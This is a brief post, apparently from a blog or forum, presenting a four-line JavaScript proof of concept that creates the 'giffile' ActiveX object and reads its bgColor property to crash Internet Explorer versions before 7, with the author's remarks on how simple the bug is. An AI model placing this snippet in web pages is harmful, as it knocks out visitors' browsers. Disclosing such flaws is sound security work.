Ok, DoS against a browser isn't too interesting, but look at the code:
<script language="JavaScript">
obj = new ActiveXObject("giffile");
obj.bgColor;
</script>
That it!?! How did someone miss that! A simple programming mistake would have caused this! ActiveX DoS in all IE < 7 |